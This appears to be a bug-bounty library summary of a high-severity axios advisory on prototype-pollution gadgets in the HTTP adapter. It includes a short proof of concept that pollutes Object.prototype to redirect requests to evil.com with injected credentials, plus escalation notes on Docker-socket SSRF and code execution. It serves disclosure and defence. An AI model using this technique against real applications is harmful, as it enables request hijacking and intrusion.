# Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Five axios HTTP adapter config properties read without hasOwnProperty guards become prototype pollution gadgets, letting a polluted Object.prototype inject auth headers and hijack requests.

- Payout: Research
- Severity: high
- Program: Axios
- Found by: bulmax9797-sketch
- Disclosed: 2026-05-05
- CVE: CVE-2026-42264
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-q8qp-cvcw-x6jj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q8qp-cvcw-x6jj
- Tags: area:oss domain:oss impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:prototype-pollution vuln:rce vuln:ssrf

**Target:** npm axios HTTP adapter config resolution
**Root cause:** mergeConfig only copies own properties, so unset config keys fall through to direct property access (config.auth, config.baseURL, config.socketPath, config.beforeRedirect, config.insecureHTTPParser) that traverses the polluted prototype chain. The existing own() helper guards 8 other properties but omits these 5.
**Steps:**
1. Pollute Object.prototype from a vulnerable dependency in the same process: `Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com';`
2. Call `await axios.get('/api/users')`
3. Observe request sent to `https://evil.com/api/users` with header `Authorization: Basic YXR0YWNrZXI6ZXhmaWw=`
**How found:** Code review of the HTTP adapter noting the own() helper already guards 8 properties against prototype pollution, then checking which other config reads lacked the guard and finding 5 unguarded direct property accesses.
**Exploitation:** Any dependency that pollutes Object.prototype in the same Node process causes every axios request to inherit attacker values: injected Authorization header, baseURL redirect to attacker host, socketPath to internal Unix sockets (Docker daemon), beforeRedirect callback execution, and insecureHTTPParser enabling smuggling.
**Escalation:** Chaining socketPath redirection to internal Unix sockets enables SSRF/container escape; beforeRedirect callback gives code execution; insecureHTTPParser weakens parsing for request smuggling.
**Insight:** When a codebase already has a hasOwnProperty/own() guard helper for prototype pollution, enumerate every sibling config read in the same file and diff guarded vs unguarded properties — the incomplete fix pattern reveals the remaining gadgets.

## Proof of concept (copied exactly from the original report)

**Prototype pollution PoC with axios request**

```
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
```